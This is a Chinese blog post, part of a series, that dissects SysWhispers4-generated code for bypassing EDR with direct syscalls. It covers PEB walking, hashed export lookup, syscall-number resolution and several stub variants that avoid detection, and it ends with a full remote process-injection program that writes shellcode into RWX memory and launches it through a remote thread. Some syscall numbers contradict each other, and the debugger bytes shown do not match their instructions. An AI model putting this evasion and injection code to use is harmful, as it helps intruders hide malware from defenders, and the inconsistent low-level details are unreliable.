文章总结: 本文剖析SysWhispers4生成代码结构,详解头文件、C源文件及汇编存根依赖关系与编译流程。核心分析了运行时SSN解析机制,展示通过PEB遍历ntdll基址并利用FreshyCalls按地址排序导出函数推导系统调用号的方法。文章结合代码示例阐释内存布局与初始化逻辑,为理解直接系统调用绕过EDR技术提供了详尽参考。 综合评分: 90 文章分类: 红队,免杀,逆向分析,安全工具
edr绕过工具 SysWhispers4 源码分析系列(五)
原创
haidragon haidragon
安全狗的自我修养
2026年3月13日 12:09 湖南
官网:http://securitytech.cc
#
五、SysWhispers4 生成代码结构深度分析
本文档深入剖析 SysWhispers4 生成的所有代码文件,包括头文件、C 源文件、汇编存根的完整结构,以及从用户调用到内核执行的完整流程。通过实际生成的代码示例,展示每个文件的作用和相互关系。
1. 生成文件整体结构
1.1 典型生成场景
以以下命令为例:
1. python syswhispers.py --preset common\
2. --method embedded --resolve freshycalls \
3. --prefix SW4 --out-file SW4Syscalls
生成的文件列表:
1. output/
2. ├── SW4Syscalls_Types.h (~15 KB)# 类型定义头文件
3. ├── SW4Syscalls.h (~8 KB)# 函数声明头文件
4. ├── SW4Syscalls.c (~50 KB)# 运行时实现源码
5. └── SW4Syscalls.asm(~5 KB)# MASM 汇编存根
总计:~78 KB 代码
1.2 文件依赖关系图
1. 用户代码(main.cpp)
2. ↓#include"SW4Syscalls.h"
4. SW4Syscalls.h
5. ↓#include"SW4Syscalls_Types.h"
6. ↓声明所有 syscall 函数原型
7. ↓声明 SW4_Initialize()等初始化函数
9. SW4Syscalls_Types.h
10. ↓#include<windows.h>
11. ↓#include<winternl.h>
12. ↓定义 NT 类型、枚举、结构体
14. SW4Syscalls.c
15. ↓#include"SW4Syscalls.h"
16. ↓实现 SSN 解析逻辑
17. ↓实现 SW4_Initialize()
18. ↓实现各种辅助功能(ETW/AMSI/Unhook等)
20. SW4Syscalls.asm(MSVC)
21. ↓包含所有 syscall 存根
22. ↓直接执行 syscall 指令
24. 或 SW4Syscalls_stubs.c (MinGW/Clang)
25. ↓内联汇编实现 syscall
1.3 编译链接流程
MSVC 工具链
1. REM 编译 C 文件
2. cl /c /EHsc SW4Syscalls.c /FoSW4Syscalls.obj
4. REM 汇编 ASM 文件
5. ml64 /c SW4Syscalls.asm/FoSW4Syscalls_asm.obj
7. REM 编译用户代码
8. cl /c /EHsc main.cpp /Fomain.obj
10. REM 链接所有目标文件
11. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj /OUT:program.exe
MinGW 工具链
1. # 编译所有文件
2. g++-c -masm=intel SW4Syscalls.c -o SW4Syscalls.o
3. g++-c -masm=intel SW4Syscalls_stubs.c -o SW4Syscalls_stubs.o
4. g++-c main.cpp -o main.o
6. # 链接
7. g++ main.o SW4Syscalls.o SW4Syscalls_stubs.o -o program.exe
1.4 运行时内存布局
1. 进程内存空间
2. ├─.text 段(代码段)
3. │├─用户代码
4. │├─ SW4Syscalls.c 编译后的代码
5. │└─ SW4Syscalls.asm编译后的 syscall 存根
6. │
7. ├─.data 段(数据段)
8. │├─ SW4_SsnTable[]# SSN 表
9. │├─ SW4_FuncHashes[]# 函数哈希表
10. │└─其他全局变量
11. │
12. └─.rdata 段(只读数据)
13. ├─字符串常量
14. └─常量表
2. syscalls.h 头文件深度分析
2.1 完整文件结构
生成的 SW4Syscalls.h 示例:
1. /*
2. * SW4Syscalls.h -- generated by SysWhispers4
3. * DO NOT EDIT -- regenerate with syswhispers.py
4. *
5. * Resolution : freshycalls
6. * Method : embedded
7. * Arch : x64
8. * Compiler : msvc
9. */
10. #pragma once
11. #ifndef SW4_SYSCALLS_H
12. #define SW4_SYSCALLS_H
14. #include"SW4Syscalls_Types.h"
16. #ifdef __cplusplus
17. extern"C"{
18. #endif
20. /* =========================================================================
21. * 运行时初始化
22. * FreshyCalls -- sorts ntdll Nt* exports by VA
23. * ========================================================================= */
24. EXTERN_C BOOL SW4_Initialize(VOID);
26. /* =========================================================================
27. * syscall 函数原型
28. * ========================================================================= */
30. // 内存操作类 syscall
31. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(
32. HANDLE ProcessHandle,
33. PVOID*BaseAddress,
34. ULONG_PTR ZeroBits,
35. PSIZE_T RegionSize,
36. ULONG AllocationType,
37. ULONG Protect
38. );
40. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(
41. HANDLE ProcessHandle,
42. PVOID*BaseAddress,
43. PSIZE_T RegionSize,
44. ULONG FreeType
45. );
47. // ... 共 25 个函数
49. #ifdef __cplusplus
50. }
51. #endif
53. #endif/* SW4_SYSCALLS_H */
2.2 头文件组成分析
1. 文件头注释
1. /*
2. * SW4Syscalls.h -- generated by SysWhispers4
3. * DO NOT EDIT -- regenerate with syswhispers.py
4. *
5. * Resolution : freshycalls ← SSN 解析方法
6. * Method : embedded ← 调用方式
7. * Arch : x64 ← 目标架构
8. * Compiler : msvc ← 编译器
9. */
作用:
- 标识自动生成,禁止手动编辑
- 记录生成配置,便于追溯
2. 保护宏
1. #pragma once
2. #ifndef SW4_SYSCALLS_H
3. #define SW4_SYSCALLS_H
5. // ... 文件内容 ...
7. #endif/* SW4_SYSCALLS_H */
作用:
- 防止重复包含
#pragmaonce是编译器指令(更快)#ifndef是预处理器标准方式(更兼容)
3. 依赖包含
1. #include"SW4Syscalls_Types.h"
作用:
- 引入类型定义
- 确保本文件中使用的类型都已定义
4. C++ 兼容性
1. #ifdef __cplusplus
2. extern"C"{
3. #endif
作用:
- C++ 编译器使用 C 链接约定
- 避免名称修饰(name mangling)
- 允许 C++ 代码调用这些函数
5. 函数原型分组
生成的代码按功能分组:
1. // ==== 内存操作类 syscall ====
2. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(...);
3. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(...);
4. // ...
6. // ==== 进程/线程操作类 syscall ====
7. EXTERN_C NTSTATUS NTAPI SW4_NtCreateThreadEx(...);
8. EXTERN_C NTSTATUS NTAPI SW4_NtOpenProcess(...);
9. // ...
11. // ==== 同步/通信类 syscall ====
12. EXTERN_C NTSTATUS NTAPI SW4_NtWaitForSingleObject(...);
13. // ...
分组优点:
- 代码组织清晰
- 易于查找特定功能的函数
- 便于理解和维护
3. syscalls.c 封装函数深度分析
3.1 完整文件结构
生成的 SW4Syscalls.c 框架:
1. /*
2. * SW4Syscalls.c -- generated by SysWhispers4
3. */
4. #include"SW4Syscalls.h"
5. #include<stddef.h>
6. #include<string.h>
7. /* =========================================================================
8. * 常量定义
9. * ========================================================================= */
10. #define SW4_FUNC_COUNT 25U// 函数数量
11. #define SW4_MAX_EXPORTS 1024U// 最大导出数
12. // DJB2 哈希表(编译时计算)
13. staticconst DWORD SW4_FuncHashes[SW4_FUNC_COUNT]={
14. 0x8A3B2C1D,/* NtAllocateVirtualMemory */
15. 0x5E7F8A2B,/* NtFreeVirtualMemory */
16. // ... 更多哈希值
17. };
18. /* =========================================================================
19. * 全局运行时表
20. * ========================================================================= */
21. DWORD SW4_SsnTable[SW4_FUNC_COUNT];// SSN 表(运行时填充)
22. /* =========================================================================
23. * 工具函数
24. * ========================================================================= */
25. // DJB2 字符串哈希
26. static DWORD SW4_HashStr(constchar* s){
27. DWORD h =0x1505U;
28. while(*s){
29. h =((h <<5)+ h)^(unsignedchar)*s++;
30. }
31. return h;
32. }
33. // 通过 PEB 获取 ntdll 基址
34. static PVOID SW4_GetNtdllBase(VOID){
35. #if defined(_M_X64)
36. PPEB pPeb =(PPEB)__readgsqword(0x60);// GS:0x60 -> PEB
37. #elif defined(_M_IX86)
38. PPEB pPeb =(PPEB)__readfsdword(0x30);// FS:0x30 -> PEB
39. #endif
40. PPEB_LDR_DATA pLdr = pPeb->Ldr;
41. PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;
42. PLIST_ENTRY pEntry = pHead->Flink;// exe 模块
43. pEntry = pEntry->Flink;// ntdll 总是第二个
44. PLDR_DATA_TABLE_ENTRY pMod =
45. CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
46. return pMod->DllBase;
47. }
48. // 通过哈希查找导出函数
49. static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){
50. PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;
51. PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
52. PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)(
53. (PBYTE)pModule +
54. pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
55. PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
56. PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
57. PWORD pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);
58. for(DWORD i =0; i < pExp->NumberOfNames; i++){
59. constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);
60. if(SW4_HashStr(pName)== dwHash)
61. return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
62. }
63. return NULL;
64. }
65. /* =========================================================================
66. * FreshyCalls SSN 解析实现
67. * ========================================================================= */
68. static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
69. // 1. 获取导出表
70. PIMAGE_EXPORT_DIRECTORY pExp =...;
71. // 2. 收集所有 Nt* 函数
72. PVOID candidates[SW4_MAX_EXPORTS];
73. DWORD candidateHashes[SW4_MAX_EXPORTS];
74. DWORD count =0;
75. for(DWORD i =0; i < pExp->NumberOfNames&& count < SW4_MAX_EXPORTS; i++){
76. constchar* name =(constchar*)((PBYTE)pNtdll + pNmArr[i]);
77. // 只处理 Nt 前缀的函数
78. if(name[0]=='N'&& name[1]=='t'){
79. candidates[count]=(PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
80. candidateHashes[count]= SW4_HashStr(name);
81. count++;
82. }
83. }
84. // 3. 按地址排序(关键!)
85. // Windows 内核按固定顺序排列系统调用
86. // 排序后的索引 = SSN
87. SW4_SortExports(candidates, candidateHashes, count);
88. // 4. 匹配我们的函数列表并填充 SSN 表
89. memset(SW4_SsnTable,0,sizeof(SW4_SsnTable));
90. for(DWORD ssn =0; ssn < count; ssn++){
91. DWORD hash = candidateHashes[ssn];
92. // 在我们的函数列表中查找匹配的哈希
93. for(DWORD i =0; i < SW4_FUNC_COUNT; i++){
94. if(SW4_FuncHashes[i]== hash){
95. SW4_SsnTable[i]= ssn;
96. break;
97. }
98. }
99. }
100. return TRUE;
101. }
102. /* =========================================================================
103. * 初始化函数
104. * ========================================================================= */
105. BOOL SW4_Initialize(VOID){
106. static BOOL initialized = FALSE;
107. if(initialized)
108. return TRUE;
109. // 1. 获取 ntdll 基址
110. PVOID pNtdll = SW4_GetNtdllBase();
111. if(!pNtdll)
112. return FALSE;
113. // 2. 根据配置的解析方法获取 SSN
114. #if RESOLUTION_METHOD == FRESHYCALLS
115. if(!SW4_FreshyCallsResolve(pNtdll))
116. return FALSE;
117. #elif RESOLUTION_METHOD == HELLS_GATE
118. // Hell's Gate 实现
119. #endif
120. initialized = TRUE;
121. return TRUE;
122. }
3.2 关键模块详解
模块 1:PEB 遍历获取 ntdll
1. static PVOID SW4_GetNtdllBase(VOID){
2. #if defined(_M_X64)
3. PPEB pPeb =(PPEB)__readgsqword(0x60);// x64: GS:0x60
4. #elif defined(_M_IX86)
5. PPEB pPeb =(PPEB)__readfsdword(0x30);// x86: FS:0x30
6. #endif
8. PPEB_LDR_DATA pLdr = pPeb->Ldr;
9. PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;
10. PLIST_ENTRY pEntry = pHead->Flink;// exe 模块
11. pEntry = pEntry->Flink;// ntdll (第 2 个)
13. PLDR_DATA_TABLE_ENTRY pMod =
14. CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
16. return pMod->DllBase;
17. }
内存布局图:
1. PEB (GS:0x60)
2. ↓
3. PEB_LDR_DATA
4. ↓
5. InMemoryOrderModuleList(链表头)
6. ↓
7. exe 模块→ ntdll 模块→ kernel32 模块→...
8. ↑
9. 我们需要的
模块 2:导出表扫描
1. static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){
2. PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;
3. PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
5. PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)(
6. (PBYTE)pModule +
7. pNt->OptionalHeader.DataDirectory[0].VirtualAddress);
9. PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
10. PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
11. PWORD pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);
13. for(DWORD i =0; i < pExp->NumberOfNames; i++){
14. constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);
15. if(SW4_HashStr(pName)== dwHash)
16. return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
17. }
18. return NULL;
19. }
模块 3:FreshyCalls 核心算法
1. static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
2. // 1. 收集所有 Nt* 函数
3. PVOID candidates[1024];
4. DWORD hashes[1024];
5. DWORD count =0;
7. for(DWORD i =0; i < pExp->NumberOfNames; i++){
8. constchar* name =(constchar*)(pModule + pNmArr[i]);
9. if(name[0]=='N'&& name[1]=='t'){
10. candidates[count]=(PVOID)(pNtdll + pFnArr[pOrArr[i]]);
11. hashes[count]= SW4_HashStr(name);
12. count++;
13. }
14. }
16. // 2. 按地址排序(关键!)
17. SW4_SortExports(candidates, hashes, count);
19. // 3. 排序后的索引 = SSN
20. for(DWORD ssn =0; ssn < count; ssn++){
21. for(DWORD i =0; i < SW4_FUNC_COUNT; i++){
22. if(SW4_FuncHashes[i]== hashes[ssn]){
23. SW4_SsnTable[i]= ssn;
24. break;
25. }
26. }
27. }
29. return TRUE;
30. }
4. syscalls.asm 汇编 stub 分析
4.1 MASM 语法格式
生成的 SW4Syscalls.asm:
1. ; SW4Syscalls.asm-- generated bySysWhispers4
2. ; DO NOT EDIT
4. .code
6. ;============================================================
7. ;直接 syscall 存根(Embedded模式)
8. ;============================================================
10. SW4_NtAllocateVirtualMemory PROC
11. mov r10, rcx ; x64 调用约定:RCX → R10
12. mov eax,18h; SSN =24(Windows10)
13. syscall ;进入内核
14. ret ;返回
15. SW4_NtAllocateVirtualMemory ENDP
17. SW4_NtCreateThreadEx PROC
18. mov r10, rcx
19. mov eax,0C9h; SSN =201
20. syscall
21. ret
22. SW4_NtCreateThreadEx ENDP
24. SW4_NtWriteVirtualMemory PROC
25. mov r10, rcx
26. mov eax,3Ah; SSN =58
27. syscall
28. ret
29. SW4_NtWriteVirtualMemory ENDP
31. ;...共25个函数
33. END
4.2 调用约定详解
x64 调用约定规则:
| 寄存器 | 用途 | | — | — | | RCX | 第 1 参数(必须复制到 R10) | | RDX | 第 2 参数 | | R8 | 第 3 参数 | | R9 | 第 4 参数 | | RAX | 返回值 / SSN | | RSP | 栈指针(16 字节对齐) |
参数传递示例:
1. // C 语言调用
2. NtAllocateVirtualMemory(
3. GetCurrentProcess(),// RCX
4. &base,// RDX
5. 0,// R8
6. &size,// R9
7. MEM_COMMIT,// [RSP+28h]
8. PAGE_EXECUTE_READWRITE // [RSP+30h]
9. );
1. ;汇编实现
2. mov r10, rcx ;第1参数 RCX → R10
3. mov eax,18h; SSN
4. syscall ;进入内核
5. ;返回值在 RAX
6. ret
4.3 不同调用方式的 stub 对比
Embedded(直接 syscall)
1. SW4_NtAllocateVirtualMemory PROC
2. mov r10, rcx
3. mov eax,18h
4. syscall
5. ret
6. SW4_NtAllocateVirtualMemory ENDP
特点:
- 最简单快速
- RIP 在我们自己的代码段
- 容易被检测(静态 syscall 指令)
Indirect(间接跳转)
1. EXTERN syscall_gadget:QWORD
3. SW4_NtAllocateVirtualMemory PROC
4. mov r10, rcx
5. mov eax,18h
6. jmp qword ptr [syscall_gadget];间接跳转
7. ; RIP 在 ntdll 内
8. SW4_NtAllocateVirtualMemory ENDP
特点:
- RIP 显示在 ntdll.dll
- 绕过基于 RIP 的检测
- 需要预先查找 gadget
Randomized(随机化)
1. SW4_NtAllocateVirtualMemory PROC
2. mov r10, rcx
3. mov r11, rdx ;保存 RDX
4. rdtsc ;获取时间戳
5. and eax,3Fh;取模64
6. mov rax,[gadget_pool + rax*8]
7. call rax ;调用随机 gadget
8. mov rdx, r11 ;恢复 RDX
9. ret
10. SW4_NtAllocateVirtualMemory ENDP
特点:
- 每次调用不同的 gadget
- 最强的反追踪能力
- 性能开销稍大
Egg(egg marker)
1. SW4_NtAllocateVirtualMemory PROC
2. mov r10, rcx
3. ; egg marker (运行时替换为 syscall)
4. DB 41h,42h,43h,44h,45h,46h,47h,48h
5. ret
6. SW4_NtAllocateVirtualMemory ENDP
特点:
- 无静态 syscall 特征
- 运行时动态替换
- 需要调用 HatchEggs()
5. syscall stub 完整调用流程
5.1 从用户调用到内核执行
完整流程图:
1. 用户代码
2. ↓
3. #include"SW4Syscalls.h"
4. ↓
5. SW4_Initialize()
6. ├─获取 ntdll 基址(PEB 遍历)
7. ├─扫描导出表(FreshyCalls)
8. ├─按地址排序
9. └─填充 SSN 表
10. ↓
11. SW4_NtAllocateVirtualMemory(...)
12. ↓
13. SW4Syscalls.asm中的 stub
14. ├─ mov r10, rcx (参数传递)
15. ├─ mov eax,18h(设置 SSN)
16. └─ syscall (进入内核)
17. ↓
18. CPU 特权级转换(Ring3→Ring0)
19. ├─保存用户态上下文
20. ├─加载内核态上下文
21. └─跳转到KiSystemCall64
22. ↓
23. KiSystemCall64(内核 syscall 分发器)
24. ├─保存寄存器
25. ├─查 SSDT 表
26. └─调用NtAllocateVirtualMemory内核实现
27. ↓
28. ntoskrnl!NtAllocateVirtualMemory
29. ├─参数验证
30. ├─调用MmAllocateVirtualMemory
31. └─返回 NTSTATUS
32. ↓
33. 用户态 stub
34. └─ ret (返回到调用者)
35. ↓
36. 用户代码继续执行
5.2 实际案例分析
案例:进程注入
1. // main.cpp
2. #include"SW4Syscalls.h"
4. int main(){
5. // 1. 初始化(必须)
6. if(!SW4_Initialize()){
7. printf("Initialization failed\n");
8. return1;
9. }
11. // 2. 打开目标进程
12. CLIENT_ID clientId ={0};
13. clientId.UniqueProcess=(HANDLE)1234;
15. OBJECT_ATTRIBUTES oa ={0};
16. InitializeObjectAttributes(&oa, NULL,0, NULL, NULL);
18. HANDLE hProcess;
19. NTSTATUS status = SW4_NtOpenProcess(
20. &hProcess,
21. PROCESS_ALL_ACCESS,
22. &oa,
23. &clientId
24. );
26. if(!NT_SUCCESS(status)){
27. printf("NtOpenProcess failed: 0x%08X\n", status);
28. return1;
29. }
31. // 3. 分配内存
32. PVOID base = NULL;
33. SIZE_T size =0x1000;
35. status = SW4_NtAllocateVirtualMemory(
36. hProcess,
37. &base,
38. 0,
39. &size,
40. MEM_COMMIT | MEM_RESERVE,
41. PAGE_EXECUTE_READWRITE
42. );
44. if(!NT_SUCCESS(status)){
45. printf("NtAllocateVirtualMemory failed: 0x%08X\n", status);
46. return1;
47. }
49. printf("Allocated at %p\n", base);
51. // 4. 写入 shellcode
52. BYTE shellcode[]="...";
54. status = SW4_NtWriteVirtualMemory(
55. hProcess,
56. base,
57. shellcode,
58. sizeof(shellcode),
59. NULL
60. );
62. // 5. 创建远程线程
63. HANDLE hThread;
64. status = SW4_NtCreateThreadEx(
65. &hThread,
66. THREAD_ALL_ACCESS,
67. NULL,
68. hProcess,
69. base,
70. NULL,
71. FALSE,
72. 0,
73. 0,
74. 0,
75. NULL
76. );
78. printf("Thread created: 0x%08X\n", status);
80. return0;
81. }
底层执行流程:
1. main()调用 SW4_Initialize()
2. ↓
3. SW4_Initialize()执行FreshyCalls解析
4. ├─ __readgsqword(0x60)→ PEB
5. ├─遍历InMemoryOrderModuleList→ ntdll
6. ├─扫描 ntdll 导出表
7. ├─收集Nt*函数
8. ├─按地址排序
9. └─填充 SW4_SsnTable[25]
10. ↓
11. main()调用 SW4_NtOpenProcess()
12. ↓
13. 汇编 stub:
14. mov r10, rcx
15. mov eax,3Ah; SSN forNtOpenProcess
16. syscall ;进入内核
17. ↓
18. 内核执行NtOpenProcess
19. ↓
20. 返回到 main()
21. ↓
22. main()调用 SW4_NtAllocateVirtualMemory()
23. ↓
24. 汇编 stub:
25. mov r10, rcx
26. mov eax,18h; SSN forNtAllocateVirtualMemory
27. syscall
28. ↓
29. 内核执行NtAllocateVirtualMemory
30. ↓
31. ...后续调用同理
5.3 调试分析技巧
WinDbg 调试 syscall
1. 0:000> bp SW4_NtAllocateVirtualMemory
2. 0:000> g
3. Breakpoint0 hit
5. 0:000> r
6. rax=0000000000000000 rbx=0000000000000000
7. rcx=00000000000004bc rdx=001234567890abcd
8. r8=0000000000000000 r9=001234567890dcba
10. 0:000> u @rip L10
11. SW4Syscalls!SW4_NtAllocateVirtualMemory:
12. 00007ff7`12345678 4c8bd9 mov r10,rcx
13. 00007ff7`1234567b b818000000 mov eax,18h
14. 00007ff7`12345680 0f05 syscall
15. 00007ff7`12345682 c3 ret
17. 0:000> t
18. 0:000> t
19. 0:000> r eax
20. eax=00000018; SSN =24
22. 0:000> t ;执行 syscall
23. 0:000> r rip
24. rip=fffff800`12345678 ; 现在在内核中
25. nt!KiSystemCall64
27. 0:000> k ; 查看调用栈
28. # Child-SP RetAddr
29. 00 ffff8a00`12345678 fffff800`12345678 nt!KiSystemCall64
30. 01 ffff8a00`1234568000007ff7`12345682 nt!NtAllocateVirtualMemory
31. 02 000000e1`2345678000007ff7`12345678 SW4Syscalls!SW4_NtAllocateVirtualMemory+0xa
总结
通过对 SysWhispers4 生成代码的深度分析,我们理解了:
文件结构
- Types.h:NT 类型定义
- .h:函数原型声明
- .c:运行时实现(SSN 解析 + 辅助功能)
- .asm:汇编 syscall 存根
关键技术点
- PEB 遍历获取 ntdll 基址
- 导出表扫描和函数查找
- FreshyCalls 按地址排序算法
- x64 调用约定和参数传递
- syscall 指令执行流程
调用流程
用户代码 → SW4_Initialize() → syscall stub → CPU 特权级转换 → 内核分发器 → NT 实现 → 返回
这套完整的代码生成机制,使得开发者可以完全控制底层系统调用,绕过现代 EDR 的用户态监控。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《edr绕过工具 SysWhispers4 源码分析系列(五)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论